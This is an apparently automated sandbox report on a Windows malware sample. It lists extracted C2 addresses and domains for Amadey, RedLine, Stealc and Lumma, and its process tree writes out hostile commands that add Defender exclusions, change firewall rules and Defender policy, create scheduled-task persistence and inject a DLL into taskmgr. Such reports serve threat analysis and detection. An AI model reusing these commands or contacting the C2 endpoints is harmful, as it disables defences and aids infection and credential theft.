Overview

overview

10

Static

static

3

cryptolaemus

windows10-2004-x64

10

cryptolaemus

windows11-21h2-x64

10

Analysis

  • max time kernel
    72s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240419-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/05/2024, 04:35

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    5329674a2b823fc5e941c5acf6f3fc416cc32072fe2cb018be05bf9476a51eb7.exe
  • Size 1.9MB
  • Sample240507-e724sahh7x
  • SHA256 5329674a2b823fc5e941c5acf6f3fc416cc32072fe2cb018be05bf9476a51eb7
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
amadeygluptebalummaprivateloaderredlinestealczgrat@cloudytteamtest1234discoverydropperevasionexecutioninfostealerloaderratspywarestealerthemidatrojan

Malware Config

Extracted

Family

  • amadey

Version

  • 4.18

C2

  • http://193.233.132.56

Attributes
  • install_dir

    09fd851a4f

  • install_file

    explorha.exe

  • strings_key

    443351145ece4966ded809641c77cfa8

  • url_paths

    /Pneh2sXQk0/index.php

rc4.plain

Extracted

Family

  • redline

Botnet

  • Test1234

C2

  • 185.215.113.67:26260

Extracted

Family

  • stealc

C2

  • http://52.143.157.84

  • http://185.172.128.150

Attributes
  • url_path

    /c73eed764cc59dcb.php

Extracted

Family

  • redline

Botnet

  • @CLOUDYTTEAM

C2

  • 185.172.128.33:8970

Extracted

Family

  • lumma

C2

  • https://affordcharmcropwo.shop/api

  • https://cleartotalfisherwo.shop/api

  • https://worryfillvolcawoi.shop/api

  • https://enthusiasimtitleow.shop/api

  • https://dismissalcylinderhostw.shop/api

  • https://diskretainvigorousiw.shop/api

  • https://communicationgenerwo.shop/api

  • https://pillowbrocccolipe.shop/api

  • https://zippyfinickysofwps.shop/api

  • https://acceptabledcooeprs.shop/api

  • https://obsceneclassyjuwks.shop/api

  • https://miniaturefinerninewjs.shop/api

  • https://plaintediousidowsko.shop/api

  • https://sweetsquarediaslw.shop/api

  • https://holicisticscrarws.shop/api

  • https://boredimperissvieos.shop/api

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Detect ZGRat V1 6 IoCs
  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

    loaderdropperglupteba
  • Glupteba payload 14 IoCs
  • Lumma Stealer

    An infostealer written in C++ first seen in August 2022.

    stealerlumma
  • Modifies firewall policy service 2 TTPs 1 IoCs
    evasion
  • PrivateLoader

    PrivateLoader is a downloader sold as a pay-per-install malware distribution service.

    loaderprivateloader
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine payload 6 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • UAC bypass 3 TTPs 1 IoCs
    evasiontrojan
  • Windows security bypass 2 TTPs 3 IoCs
    evasiontrojan
  • ZGRat

    ZGRat is remote access trojan written in C#.

    ratzgrat
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 5 IoCs
    evasion
  • Blocklisted process makes network request 9 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 32 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Downloads MZ/PE file
  • Modifies Windows Firewall 2 TTPs 4 IoCs
    evasion
  • Stops running service(s) 4 TTPs
    evasionexecution
  • Checks BIOS information in registry 2 TTPs 12 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 11 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 9 IoCs
  • Executes dropped EXE 40 IoCs
  • Identifies Wine through registry keys 2 TTPs 4 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    evasion
  • Loads dropped DLL 6 IoCs
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

    spywarestealer
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads local data of messenger clients 2 TTPs

    Infostealers often target stored data of messaging applications, which can include saved credentials and account information.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Themida packer 3 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Windows security modification 2 TTPs 4 IoCs
    evasiontrojan
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 3 IoCs
    evasiontrojan
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 4 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 10 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 4 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 3 IoCs
  • Launches sc.exe 6 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 4 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 21 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 7 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 1 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\5329674a2b823fc5e941c5acf6f3fc416cc32072fe2cb018be05bf9476a51eb7.exe
    "C:\Users\Admin\AppData\Local\Temp\5329674a2b823fc5e941c5acf6f3fc416cc32072fe2cb018be05bf9476a51eb7.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Checks computer location settings
    • Identifies Wine through registry keys
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4656
    • C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe
      "C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe"
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Checks BIOS information in registry
      • Checks computer location settings
      • Executes dropped EXE
      • Identifies Wine through registry keys
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:636
      • C:\Users\Admin\AppData\Local\Temp\1000066001\swiiiii.exe
        "C:\Users\Admin\AppData\Local\Temp\1000066001\swiiiii.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3396
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
          4⤵
            PID:4480
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 3396 -s 876
            4⤵
            • Program crash
            PID:964
        • C:\Users\Admin\AppData\Local\Temp\1000071001\jok.exe
          "C:\Users\Admin\AppData\Local\Temp\1000071001\jok.exe"
          3⤵
          • Blocklisted process makes network request
          • Executes dropped EXE
          • Modifies system certificate store
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1600
        • C:\Users\Admin\AppData\Local\Temp\1000073001\swiiii.exe
          "C:\Users\Admin\AppData\Local\Temp\1000073001\swiiii.exe"
          3⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:2740
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
            4⤵
              PID:1100
          • C:\Users\Admin\AppData\Local\Temp\1000075001\file300un.exe
            "C:\Users\Admin\AppData\Local\Temp\1000075001\file300un.exe"
            3⤵
            • UAC bypass
            • Windows security bypass
            • Checks computer location settings
            • Executes dropped EXE
            • Windows security modification
            • Checks whether UAC is enabled
            • Suspicious use of SetThreadContext
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            • System policy modification
            PID:1512
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\1000075001\file300un.exe" -Force
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4296
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
              4⤵
              • Checks computer location settings
              • Drops startup file
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:212
              • C:\Users\Admin\Pictures\MQc9EyckRgzYoq4XK4lcjqg5.exe
                "C:\Users\Admin\Pictures\MQc9EyckRgzYoq4XK4lcjqg5.exe"
                5⤵
                • Checks computer location settings
                • Executes dropped EXE
                PID:4280
                • C:\Users\Admin\AppData\Local\Temp\u3aw.0.exe
                  "C:\Users\Admin\AppData\Local\Temp\u3aw.0.exe"
                  6⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Checks processor information in registry
                  • Suspicious behavior: EnumeratesProcesses
                  PID:4656
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 4656 -s 2024
                    7⤵
                    • Program crash
                    PID:2824
                • C:\Users\Admin\AppData\Local\Temp\u3aw.1.exe
                  "C:\Users\Admin\AppData\Local\Temp\u3aw.1.exe"
                  6⤵
                  • Checks computer location settings
                  • Executes dropped EXE
                  • Checks SCSI registry key(s)
                  • Suspicious use of FindShellTrayWindow
                  • Suspicious use of SendNotifyMessage
                  PID:5652
                  • C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
                    "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
                    7⤵
                      PID:6484
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 4280 -s 1152
                    6⤵
                    • Program crash
                    PID:5764
                • C:\Users\Admin\Pictures\5EdZWStmCoT74P5EqndlyQnv.exe
                  "C:\Users\Admin\Pictures\5EdZWStmCoT74P5EqndlyQnv.exe"
                  5⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4468
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    powershell -nologo -noprofile
                    6⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4940
                  • C:\Users\Admin\Pictures\5EdZWStmCoT74P5EqndlyQnv.exe
                    "C:\Users\Admin\Pictures\5EdZWStmCoT74P5EqndlyQnv.exe"
                    6⤵
                    • Executes dropped EXE
                    • Checks for VirtualBox DLLs, possible anti-VM trick
                    PID:3812
                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      powershell -nologo -noprofile
                      7⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Drops file in System32 directory
                      • Modifies data under HKEY_USERS
                      • Suspicious behavior: EnumeratesProcesses
                      PID:5472
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
                      7⤵
                        PID:6732
                        • C:\Windows\system32\netsh.exe
                          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                          8⤵
                          • Modifies Windows Firewall
                          PID:6040
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        powershell -nologo -noprofile
                        7⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Modifies data under HKEY_USERS
                        PID:5624
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        powershell -nologo -noprofile
                        7⤵
                        • Command and Scripting Interpreter: PowerShell
                        PID:6796
                  • C:\Users\Admin\Pictures\cBxmlX2KBOmoj18QAinomBPf.exe
                    "C:\Users\Admin\Pictures\cBxmlX2KBOmoj18QAinomBPf.exe"
                    5⤵
                    • Executes dropped EXE
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1760
                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      powershell -nologo -noprofile
                      6⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3684
                    • C:\Users\Admin\Pictures\cBxmlX2KBOmoj18QAinomBPf.exe
                      "C:\Users\Admin\Pictures\cBxmlX2KBOmoj18QAinomBPf.exe"
                      6⤵
                      • Executes dropped EXE
                      • Checks for VirtualBox DLLs, possible anti-VM trick
                      PID:3424
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        powershell -nologo -noprofile
                        7⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Drops file in System32 directory
                        • Modifies data under HKEY_USERS
                        • Suspicious behavior: EnumeratesProcesses
                        PID:2576
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
                        7⤵
                          PID:6876
                          • C:\Windows\system32\netsh.exe
                            netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                            8⤵
                            • Modifies Windows Firewall
                            PID:6312
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          powershell -nologo -noprofile
                          7⤵
                          • Command and Scripting Interpreter: PowerShell
                          • Modifies data under HKEY_USERS
                          PID:6432
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          powershell -nologo -noprofile
                          7⤵
                          • Command and Scripting Interpreter: PowerShell
                          PID:6048
                    • C:\Users\Admin\Pictures\djyE4RzuYUpr0Wtob9ahHMCt.exe
                      "C:\Users\Admin\Pictures\djyE4RzuYUpr0Wtob9ahHMCt.exe"
                      5⤵
                      • Executes dropped EXE
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1260
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        powershell -nologo -noprofile
                        6⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4748
                      • C:\Users\Admin\Pictures\djyE4RzuYUpr0Wtob9ahHMCt.exe
                        "C:\Users\Admin\Pictures\djyE4RzuYUpr0Wtob9ahHMCt.exe"
                        6⤵
                        • Executes dropped EXE
                        • Checks for VirtualBox DLLs, possible anti-VM trick
                        PID:916
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          powershell -nologo -noprofile
                          7⤵
                          • Command and Scripting Interpreter: PowerShell
                          • Drops file in System32 directory
                          • Modifies data under HKEY_USERS
                          PID:4864
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
                          7⤵
                            PID:6748
                            • C:\Windows\System32\Conhost.exe
                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                              8⤵
                                PID:5652
                              • C:\Windows\system32\netsh.exe
                                netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                                8⤵
                                • Modifies Windows Firewall
                                PID:5332
                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                              powershell -nologo -noprofile
                              7⤵
                              • Command and Scripting Interpreter: PowerShell
                              • Modifies data under HKEY_USERS
                              PID:4068
                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                              powershell -nologo -noprofile
                              7⤵
                              • Command and Scripting Interpreter: PowerShell
                              PID:6336
                            • C:\Windows\rss\csrss.exe
                              C:\Windows\rss\csrss.exe
                              7⤵
                                PID:5280
                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                  powershell -nologo -noprofile
                                  8⤵
                                  • Command and Scripting Interpreter: PowerShell
                                  PID:4368
                                • C:\Windows\SYSTEM32\schtasks.exe
                                  schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                                  8⤵
                                  • Creates scheduled task(s)
                                  PID:2456
                                  • C:\Windows\System32\Conhost.exe
                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                    9⤵
                                      PID:6836
                                  • C:\Windows\SYSTEM32\schtasks.exe
                                    schtasks /delete /tn ScheduledUpdate /f
                                    8⤵
                                      PID:1460
                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                      powershell -nologo -noprofile
                                      8⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      PID:2684
                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                      powershell -nologo -noprofile
                                      8⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      PID:1600
                                      • C:\Windows\System32\Conhost.exe
                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                        9⤵
                                          PID:1036
                                      • C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
                                        C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
                                        8⤵
                                          PID:5256
                                        • C:\Windows\SYSTEM32\schtasks.exe
                                          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                                          8⤵
                                          • Creates scheduled task(s)
                                          PID:668
                                        • C:\Windows\windefender.exe
                                          "C:\Windows\windefender.exe"
                                          8⤵
                                            PID:4092
                                            • C:\Windows\SysWOW64\cmd.exe
                                              cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
                                              9⤵
                                                PID:1384
                                                • C:\Windows\SysWOW64\sc.exe
                                                  sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
                                                  10⤵
                                                  • Launches sc.exe
                                                  PID:6952
                                      • C:\Users\Admin\Pictures\d5E3sUT05iDoAIAbdsHJasxm.exe
                                        "C:\Users\Admin\Pictures\d5E3sUT05iDoAIAbdsHJasxm.exe"
                                        5⤵
                                        • Executes dropped EXE
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:4428
                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                          powershell -nologo -noprofile
                                          6⤵
                                          • Command and Scripting Interpreter: PowerShell
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:3168
                                        • C:\Users\Admin\Pictures\d5E3sUT05iDoAIAbdsHJasxm.exe
                                          "C:\Users\Admin\Pictures\d5E3sUT05iDoAIAbdsHJasxm.exe"
                                          6⤵
                                          • Executes dropped EXE
                                          • Checks for VirtualBox DLLs, possible anti-VM trick
                                          • Modifies data under HKEY_USERS
                                          PID:4568
                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                            powershell -nologo -noprofile
                                            7⤵
                                            • Command and Scripting Interpreter: PowerShell
                                            • Drops file in System32 directory
                                            • Modifies data under HKEY_USERS
                                            • Suspicious behavior: EnumeratesProcesses
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:4732
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
                                            7⤵
                                              PID:4588
                                              • C:\Windows\system32\netsh.exe
                                                netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                                                8⤵
                                                • Modifies Windows Firewall
                                                PID:5984
                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                              powershell -nologo -noprofile
                                              7⤵
                                              • Command and Scripting Interpreter: PowerShell
                                              • Modifies data under HKEY_USERS
                                              PID:6840
                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                              powershell -nologo -noprofile
                                              7⤵
                                              • Command and Scripting Interpreter: PowerShell
                                              PID:6984
                                        • C:\Users\Admin\Pictures\J4XC0nzSmWyteA2lxOQVb2zj.exe
                                          "C:\Users\Admin\Pictures\J4XC0nzSmWyteA2lxOQVb2zj.exe"
                                          5⤵
                                          • Modifies firewall policy service
                                          • Windows security bypass
                                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                          • Checks BIOS information in registry
                                          • Executes dropped EXE
                                          • Windows security modification
                                          • Checks whether UAC is enabled
                                          • Drops file in System32 directory
                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                          PID:5756
                                        • C:\Users\Admin\Pictures\TwtSzzKtrXOJhgVAXO9EdlGW.exe
                                          "C:\Users\Admin\Pictures\TwtSzzKtrXOJhgVAXO9EdlGW.exe"
                                          5⤵
                                          • Executes dropped EXE
                                          PID:5456
                                          • C:\Users\Admin\AppData\Local\Temp\7zSA325.tmp\Install.exe
                                            .\Install.exe /ThYFdiduvbI "385118" /S
                                            6⤵
                                            • Checks BIOS information in registry
                                            • Checks computer location settings
                                            • Executes dropped EXE
                                            • Enumerates system info in registry
                                            PID:5968
                                            • C:\Windows\SysWOW64\cmd.exe
                                              "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                              7⤵
                                                PID:404
                                                • C:\Windows\SysWOW64\forfiles.exe
                                                  forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                  8⤵
                                                    PID:5388
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                      9⤵
                                                        PID:1844
                                                        • \??\c:\windows\SysWOW64\reg.exe
                                                          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                          10⤵
                                                            PID:748
                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                        forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                        8⤵
                                                          PID:3396
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                            9⤵
                                                              PID:436
                                                              • \??\c:\windows\SysWOW64\reg.exe
                                                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                10⤵
                                                                  PID:4632
                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                              forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                              8⤵
                                                                PID:5168
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                  9⤵
                                                                    PID:5372
                                                                    • \??\c:\windows\SysWOW64\reg.exe
                                                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                      10⤵
                                                                        PID:6240
                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                    8⤵
                                                                      PID:6996
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                        9⤵
                                                                          PID:6320
                                                                          • \??\c:\windows\SysWOW64\reg.exe
                                                                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                            10⤵
                                                                              PID:5168
                                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                                          forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                          8⤵
                                                                            PID:6528
                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                              /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                              9⤵
                                                                                PID:6596
                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                  powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                  10⤵
                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                  PID:6984
                                                                                  • C:\Windows\SysWOW64\gpupdate.exe
                                                                                    "C:\Windows\system32\gpupdate.exe" /force
                                                                                    11⤵
                                                                                      PID:6744
                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                              "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
                                                                              7⤵
                                                                                PID:5240
                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                  /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                                  8⤵
                                                                                    PID:4120
                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
